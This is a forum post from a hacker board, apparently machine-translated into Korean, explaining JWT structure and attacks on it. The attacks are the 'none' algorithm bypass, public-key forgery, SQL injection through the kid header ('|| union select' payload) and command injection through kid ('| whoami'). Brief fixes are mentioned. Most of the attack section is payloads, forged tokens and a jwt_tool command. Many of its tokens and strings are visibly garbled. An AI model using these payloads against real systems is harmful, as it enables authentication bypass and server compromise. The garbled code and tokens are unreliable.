KoreanHackerTeam
Moderator
0x01 JWT基础知识
1. JWT JWT 소개는 JSON Web Token의 전체 이름이며 JSON 객체를 이동 통신사로 사용하여 정보를 전송합니다. 일반적으로 신원 인증 및 정보 교환에 사용됩니다. JWT는 키 (HMAC 알고리즘) 또는 RSA 또는 ECDSA의 공개/개인 키 2를 사용하여 자체 서명 할 수 있습니다. JTW 토큰 인증은 EYJ로 시작합니다. JWT 데이터의 헤더는 다음과 같습니다. JWT의 데이터는 헤더 (헤더), 페이로드 (페이로드) 및 서명 (서명)의 세 부분으로 나뉩니다. 세 부분은 영어 기간으로 분리됩니다. 분리 된 JWT의 내용은 Base64URL로 인코딩됩니다. 다음은 특정 토큰의 예입니다. eyjrawqioijrzxlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfioduxiiwidhlwijoislduiiwiywxnijoiulmyntyifq.eeyjzdwiioijkdwjozt eymyj9. icmyj9. icmyj9. xicp4p4pq_wif2bavtpmalwivauad_eebhdoqe2mxwhre8a7930llfqq1lfqbs0wlmhht6z9bqxbros9jvq7eumeufwfykrzfu9potoee79wxnwt XGDHC5VIDVRWIYTKRMTGKIYHBV68DUFPI68QNZH0Z0M7T5LKEDVNIVFORXDXWB7IQSAUENKZF67Z6UARBZE8ODNZAA9IYYAWHEH1B4OUG0OPM3SAXYSG- Q1R5X_5NLWOGHHYWY2KD9V4NK1BAQ5KHJIL8B3NC77GVIIVVZI9N_KLPCX5XSUW9SSUFR9D99KAKICUSXEIZVM-7OS_DW3TTZ2F-TJSNI0DYPRHHLFW (1) 헤더에는 Signature Algorithm (ALG), Token 유형 (JWT), 암호화 알고리즘 (ALG) 또는 알고리즘이 사용하는 주요 파일 (서버에 여러 키 파일이 필요할 때 사용)과 같은 JWT 구성에 대한 정보가 포함되어 있습니다. Header: Eyjrawqioijrzxlzlzlzlznjm2myzwexyznmmtezzjy0owrjotm4owrknzfioduxiiwidhlwijoislduiiwiywxnijoiulmyntyifqbase64 디코딩 : { 'kid':'Keys/3C3C2EA1C3F113F649DC9389DD71B851', 'typ':'JWT', 'alg'3360'RS256'} TOKEN 인증 유형이 JWT 및 암호화 Algorith는 rs256입니다.

hmacsha256 (Base64encode (헤더) + '.' + Base64urlencode (페이로드), 비밀) Signature:xtualp4PQ_WIF2BAVTPMALWIVAUAD_EEBHDOQE2MXWHRE8A7930LL fqq1lfqbs0wlmhht6z9bqxbros9jvq7eumeufwfykrzfu9potoee79wxnwtxgdhc5vidvrwiytkrmtgkiyhbv68dufppi68qnz H0Z0M7T5LKEDVNIVFORXDXWB7IQSAUENKZF67Z6UARBZE8ODNZAA9IYOWHEH1B4OUG0OPM3SAXYSG-Q1R5X_5NLWOGHHYWY2K d9v4nk1baq5khjil8b3nc77gviivvzi9n_klpcx5xsusw9ssufr9d99kakymusxxeizvm-7os_dw3ttz2f-tjsni0dyprhhlfw
0x02 JWT常见安全问题
1. 서명 알고리즘을 없음으로 수정할 수 있습니다 (CVE-2015-9235) JWT는 알고리즘을 "없음"으로 설정하는 것을 지원합니다. "alg"필드가 "없음"으로 설정되면 서명이 비어 있으므로 모든 토큰이 유효합니다. 하나 : 원래의 페이로드 데이터는 변경되지 않았으며 서명 알고리즘은 확인되지 않은 서명 알고리즘 eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjpc3mioijodhrwczpcl1wvzgvtby5zam9lcmnow5na2vvt cgvylm5sxc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozw xsbyi6indvcmxkin19.llhtxxvqkkjlvw8cn_8kb3tereepm2-rafnwz_h0pzbg3359jwt.io/




JWT 가져 오기
encoded=jwt.encode ({ 'iss':'https://demo.sjoerdlangkemper.nl/', 'exp': 1662739165,'data': { 'hello'3360'}, '', 알고리즘='없음')
인코딩
'eyj0exaioijkv1qilcjhbgcioijub25lin0.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxblci 5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6eyjozwxsbyi6imfkbwluin19. '


그런 다음 얻은 토큰은 인증 요청을 수행합니다 eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxblci5ubc8ilcjpyxqioje 2NJI3MZC5NJUSIMV4CCI6MTY2MJCZOTE2NSWIZGF0YSI6EYJOZWXSBYI6IMFKBWLUCYJ9FQ.SV4QGOIBSQSP7YEHA2QBHKBH10ZA6Z42UQ dzuv1iumpnu 또는 삭제 서명을 삭제하고 Toekn 인증을 다시 요청하십시오 :eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjpc3mioijodhrwczovl2rlbw8uc2pvzxjkbgfuz2tlbxbl ci5ubc8ilcjpyxqioje2nji3mzc5njusimv4cci6mty2mjczote2nswizgf0ysi6ey6imejozwxsbyi6imfkbwlucyj9fq. 수리 솔루션 : JWT 구성은 필요한 서명 알고리즘 만 지정해야합니다. 공격자는 원래 서명을 삭제하고 헤더에 새로운 공개 키를 추가 한 다음 공개 키와 관련된 개인 키에 서명하여 JWT를 위조 할 수 있습니다. eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq.aqncvshlnt9jbftpbphdbt2gb1myhiissdddp8sqvgw


얻은 토큰 인증 : eyj0exaioijkv1qilcjhbgcioiijsuzi1niisimp3ayi6eyjrdhkioijsu0eilcjrawqioijqd3rfdg9vbcisinvzzsi6innpzyisimuioijbuufcii wibii6ijfqzdngtxbfuvm0su15wjjj4tlh5uejrdnrcwnbezg8wakfgtetwemdfsem1ze1vu3zrr1pdwzljpmlpatdzouknfnw9duwregd0mzzqz vv2merhtg8zlvjacgtzcfhpt3qzwu00rdu3sddvqllewvexcfh1dhnbrzliaxj6sengm2l0lg1s0zha2ljtkw5cgsysnlordrtu1boouvqmknqvhexmv9sv 1o1n1zacgfmdjxlxb1thq3swnsynhmbehlauzxrtlusutnrw1scexbvjbrajfiwek3bvhmzeqxt0nys2w0sdqbeflwg5ly0xqtejnb2y4rzbtexrgsu1pn1 bvqvpuzuvhvhjizmktnlznlzknrcunfdjyqur1whbtsu5mofbrbxzxckdjtk1xaeewvxzvcvjcdnfhr0zbwnbrt2dhr1vuvktvdzjotxllusj9fq.eyjsb2d pbii6inrpy2fycgkifq.jgqswhbzaas_4dafbtkk-dobpuedrwwwwwwwww3tzubonkuleioa_ll6ymrwzvj0rjqmh2hilhkrixtce7rtjpiqejahv_5emf5g3qu2jdb M6UN19DLTRTBFCH3FIKMRKH1P-CUUW7AXO2CAE1GWNVGK74D3VNULGBK5QY4UZRYRZJUO-7DX5VHUFV3EJ8J-FRRFQDO_DYAJB7CBWHUBCUKIWJ3ZE 5JIKMXRCMZIEVCSSUXJAYIB7RPM-LI34YWSQBOGA82GLKT4XQJULZZQF7EYSU1Q3JUQPID24T1ZRE7CHM3BTPBZW4CSRPRS8Z5E-GUGZAPH_VODP3MLXA9TA

수정 : JWT 구성은 검증을 수락 할 공개 키를 명확하게 정의해야합니다. eyj0exaioijkv1qilcjhbgcioiijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq.aqncvshlnt9jbftpbphdbt2gbb1myiSdddp8sqvgw -x n token aured : eyj0exaioijkv1qilcjhbgcioijiuzi1nij9.eyjsb2dpbii6inrpy2fycgkifq.



Python3 JWT_TOOL.PY -I -HC -HV 'PATH/OF/FILE'-S HS256 -P 'FILE CONTER'(2) SQL 주입 Kid도 데이터베이스에서 데이터를 추출 할 수 있습니다. 현재 SQL 주입 공격이 발생할 수 있습니다. 데이터를 얻기 위해 SQL 문을 구성하거나 서명 검증 { 'typ':'jwt ','kid': 'key111111111'|| Union Select 'Secretkey' -','Alg': 'HS256'}} :eyj0exaioijkv1qilcjrawqioijrzxkxmtexmtexmscgfhwgdw5pb24gc2vszwn0icdzzwnyzxrrzxknic0tii wiywxnijoisfmyntyifq.eyjsb2dpbii6inrpy2fycgkifq.i2od_v7uvbiqillcyuqp_hdy28yp1ifzets90fk-tdc (3) 명령 주입은 어린이 매개 변수를 필터링하는 데 엄격하지 않지만 이용 조건은 비교적 엄격합니다. 서버 백엔드가 Ruby를 사용하고 키 파일을 읽을 때 열린 기능을 사용하는 경우 매개 변수를 구성하여 명령 주입이 발생할 수 있습니다. { 'typ':'jwt ','kid': '키/3c3c2ea1c3f113f649dc9389dd71b851k | whoami', 'alg':'hs256 '}
